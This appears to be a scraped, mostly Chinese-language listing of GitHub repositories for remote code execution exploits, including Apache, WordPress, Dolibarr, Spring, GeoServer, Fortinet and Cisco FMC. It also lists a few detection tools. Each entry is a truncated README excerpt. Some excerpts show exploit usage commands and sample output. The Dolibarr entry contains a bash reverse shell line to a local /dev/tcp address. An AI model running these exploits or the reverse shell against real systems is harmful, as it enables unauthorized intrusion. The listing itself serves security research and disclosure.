CVE-2021-42013-LAB

CVE-2021-42013-LAB Apache HTTP Server 2.4.50 - RCE 实验室 exploit.sh :- https://github.com/jas9reet/CVE-2021-42013-LAB/blob/main/exploit.sh 使用方式 docker pull jas9reet/cve-2021-42013-lab docker run -dit -p 8088:80 jas9reet/cve-2021-42013-lab 漏洞应用访问 VICTIM-IP-ADDRESS :8088 利用命令 bash exploit.sh -u...

mvn_pwn

MVN PWN 使用 "groovy-maven-plugin" 实现 RCE 的恶意 Maven pom.xml 包含完整依赖的载荷可在以下博客中找到： https://security.humanativaspa.it/abusing-mavens-pom-xml/...

CVE-2026-20131

🚨 CVE-2026-20131 | Cisco FMC 严重 RCE 漏洞 Cisco Secure Firewall Management Center 中的未认证远程代码执行 📌 概述 一个严重的预认证 Java 反序列化漏洞 ，允许远程攻击者在 Cisco FMC 设备上实现 root 级代码执行 。 关键信息 属性| 详情 ---|--- 严重程度| 严重 CVSS 评分| 10.0 漏洞类型| Java 反序列化 已被在野利用| 是（勒索软件攻击活动） 补丁可用| 是 ✨ 安全的漏洞检测工具 一个美观、安全且可靠的 CVE-2026-20131 检测工具。 📸 演示 功能特性...

CVE-2017-9101

PlaySMS 1.4 认证后的远程代码执行漏洞 通过电话簿CSV上传问题执行远程代码的简单方法，如 ExploitDB 所述。 可以运行单个命令： % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token for login Attempting to login as admin + Logged in! Grabbing CSRF token for phonebook import uid=33www-data...

CVE-2026-39987

⚠️ CVE-2026-39987 — marimo =0.23.0" 官方公告 ： GHSA-267...

CVE-2026-23500

CVE-2026-23500：Dolibarr 中通过 MAINODTASPDF 配置导致的 OS 命令注入（RCE） 概述 字段| 详情 ---|--- CVE 编号| CVE-2026-23500 严重性| 严重 安全公告| GHSA-w5j3-8fcr-h87w 发现者| Lukasz Rybak 受影响产品 Dolibarr/dolibarr （版本：）被 Web 应用程序或 shell 转义，请将反向 shell 命令编码为 Base64： Command: bash -c 'bash -i & /dev/tcp/172.26.0.1/4445 0&1' echo "bash ...

CVE-2026-56121_exploit

CVE-2026-56121 — Feast Registry Unauthenticated RCE dill.loads 在 Feast 特征存储的 注册中心 gRPC 服务器 中存在未授权远程代码执行漏洞。 ApplyFeatureView RPC 会从请求的 proto 中重建一个 OnDemandFeatureView。在此过程中，它会对 spec.userdefinedfunction.body 进行 base64 解码，并将其传递给 dill.loads — 且发生在任何授权检查之前 。dill 是 pickle 的超集，因此如果一个对象的 reduce 返回...

joomla_exploits

Joomla 漏洞利用 本仓库包含精选的 Joomla 漏洞利用工件，这些工件已针对真实的 Docker Joomla 环境进行验证。该集合按实际攻击效用分类。 real-impact 实际影响 具有直接安全影响的漏洞利用：RCE、文件上传导致代码执行、SQL 注入、敏感配置泄露、任意文件删除、针对管理员的存储型 XSS 或权限提升。 序号| CVE| CVSS| 目标| 利用脚本 ---|---|---|---|--- 1| CVE-2026-48939| 10.0| iCagenda 公共活动附件上传| cve202648939icagendarealhttprce.py 2|...

CVE-2026-9198_exploit

CVE-2026-9198 — Langflow OSS 未授权远程代码执行 在默认部署的 IBM Langflow OSS 1.0.0 – 1.10.0 中实现未授权远程代码执行。利用了两个漏洞： CVE-2026-9103 — 当 AUTOLOGIN 启用时（Langflow ': pass 为了执行命令，有效载荷会抛出一个异常，其消息为命令输出，该输出由端点在响应中返回（function.errors）。 使用方法 ./exploit.py -t options -t, --target target host/IP or full URL required -p, --port...

sxwp2shell

/ / / / / / | |/ / / / / / / / / / | // / / / / / / / / / / / / // | / /// / // // / // / /|| sxwp2shell — 通过 REST API 批处理路由混淆（CVE-2026-63030）+ SQL 注入（CVE-2026-60137）对 WordPress 进行预认证 RCE 漏洞利用。 受影响版本：WP 6.9.0–6.9.4 / 7.0.0–7.0.1 安装 git clone https://github.com/SentinelXofficial/sxwp2shell cd...

CVE-2026-63030

CVE-2026-63030 - WordPress REST API 批量路由混淆 PoC 描述 针对 CVE-2026-63030 的概念验证漏洞利用，这是 WordPress（6.9.0 至 7.0.1 版本）中的一个预认证漏洞。它串联了： REST API 批量路由混淆（验证与调度不匹配） 通过 authorexclude 参数进行的 SQL 注入 oEmbed 缓存投毒 + Customizer changeset 权限提升 创建管理员用户 为远程命令执行上传插件 要求 Python 3.10+ 目标：WordPress 6.9.0 – 7.0.1，且至少有一个已发布的文章/页...

wp2shell-checker

\ \ / / \ / || | | | | | | | \ \ /\ / /| | | \ | || | | | | | | \ V V / | // / | | || || | // || ||/|| ||||| wp2shell-checker | WordPress 批量 API 失同步检测器 用于 WordPress 核心 REST 批量 API 预认证 RCE 的检测器 由 0xjessie21 创建 — Cybersecurity ILCS 概述 | ---|--- 特征| wp2shell / WP Core REST 批量 API 失同步 严重程度| 9.8...

CVE-2024-50498

CVE-2024-50498 WP Query Console body background-color: fff; color: 222; font-family: sans-serif; pre margin: 0; font-family: monospace; a:link color: 009; text-decoration: none; background-color: fff; a:hover text-decoration: underlin...

Gitlab-RCE

PHPÂN TÍCH LỖ HỔNG RCE TRÊN GITLAB CVE-2021–22192 I XÂY DỰNG Lỗi này xảy ra trên GitLab Community Edition CE và Enterprise Edition EE ở các phiên bản =13.2, =13.8, =13.9, 13.9.4 Các bạn có thể làm theo hướng dẫn của lyy289065406 để dựng môi trường. II PHÂN TÍCH Khi bắt đầu bắt tay vào phân tích l...

dotclaude-security

dotclaude-security 扫描仓库本地的 .claude/ 配置 —— settings.json 钩子、MCP 服务器定义、env 块、permissions.allow —— 找出那些在 git clone 并打开不受信任仓库后，立即在 Claude Code 中触发的 RCE 和 API 密钥泄露 陷阱。它会指向 精确的危险行号 ，让你在信任之前先阅读。它只读取，从不执行发现的内容。 ⚡ 一行命令运行，无需安装，数据不会离开你的机器： npx dotclaude-security --dir ./some-cloned-repo 🤝 需要为你加固吗？ 固定范围审计 ——...

CVE-2022-42475-RCE-POC

CVE-2022-42475-RCE-POC 漏洞名称 CVE-2022-42475 飞塔RCE漏洞 POC 漏洞成因 由于sslvpnd对用户输入的内容验证存在缺陷，未经身份验证的攻击者通过发送特制数据包触发缓冲区溢出，最终可实现在目标系统上执行任意代码。 受影响版本 2.0 = 7.2.3 FortiOS = 7.0.9 FortiOS = 6.4.11 FortiOS = 6.2.12 FortiOS-6K7K = 7.0.8 FortiOS-6K7K = 6.4.10 FortiOS-6K7K = 6.2.12 FortiOS-6K7K = 6.0.15 修复方案...

CVE-2025-2620-poc

CVE-2025-2620 Exploit de Prueba de Concepto Resumen Este repositorio contiene un exploit avanzado de prueba de concepto PoC para CVE-2025-2620 , una vulnerabilidad crítica de desbordamiento de búfer basado en pila descubierta en el router D-Link DAP-1620 que ejecuta la versión de firmware 1.03...

CVE-2024-36401

GeoServer 无回显 远程代码执行漏洞 CVE-2024-36401 options: -h, --help show this help message and exit -u URL, --url URL Target URL; Example: python .py -u http://ip:port -f FILE, --file FILE Target urllist; Example: python .py -f urllist.txt -c CMD, --cmd CMD Target command; Example: python .py -u...

cobaltstrike_swing_xss2rce

此存储库没有 README。...

spring-core-rce

CVE-2022-22965: Spring-Core-Rce EXP 特性: 1. 漏洞探测不写入 webshell，简单字符串输出 2. 自定义写入 webshell 文件名称及路径 3. 不会追加写入到同一文件中，每次检测写入到不同名称 webshell 文件 4. 支持写入 冰蝎 webshell 5. 代理支持，可以设置自定义的代理，比如: http://127.0.0.1:8080 使用: $ python3 exp.py -h usage: exp.py -h --url URL --type TYPE --directory DIRECTORY --filename...